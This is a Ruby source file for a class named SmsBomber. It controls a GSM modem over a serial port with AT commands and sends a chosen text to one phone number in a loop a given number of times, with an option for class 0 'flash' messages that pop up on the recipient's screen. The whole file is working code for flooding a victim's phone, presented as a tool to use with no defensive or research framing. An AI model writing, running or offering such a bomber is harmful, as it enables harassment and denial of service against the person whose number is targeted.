class SmsBomber

# File lib/smsBomber.rb, line 5
def initialize (modemAddress)
  @uart=SerialPort.new(modemAddress, 230400, 8, 1, SerialPort::NONE)
  @uart.write('AT+CMGF=1'+13.chr)
  sleep(1)
  @readingThread=Thread.new do
    while true do
      data=@uart.gets.chomp!
      if data.include? '+CMGS:'
        @modemBusy=false
        print "Sent!\n"
      end
    end

  end
  puts 'Initializing modem in pdu mode.... OK!'
end

# File lib/smsBomber.rb, line 52
def dispose
  Thread.kill @readingThread
end

# File lib/smsBomber.rb, line 22
def sendFlashSMS(phoneNumber, smsText, smsCount)

  @uart.write('AT+CSMP=17,167,0,16'+13.chr)
  puts 'Setting modem to send class 0 SMS... OK!'
  sleep(2)
  sendMessage(phoneNumber, smsCount, smsText)
end

# File lib/smsBomber.rb, line 29
def sendSMS(phoneNumber, smsText, smsCount)
  @uart.write('AT+CSMP=17,167,0,0'+13.chr)
  puts 'Setting modem to send SMS... OK!'
  sleep(2)
  sendMessage(phoneNumber, smsCount, smsText)
end

# File lib/smsBomber.rb, line 38
def sendMessage(phoneNumber, smsCount, smsText)
  (0..smsCount).each do |i|
    print "Sending Message ##{i}"
    @modemBusy=true
    @uart.write("AT+CMGS=\"#{phoneNumber}\""+13.chr)
    sleep(1)
    @uart.write(smsText+26.chr)
    while @modemBusy do
      print '.'
      sleep(1)
    end
  end
end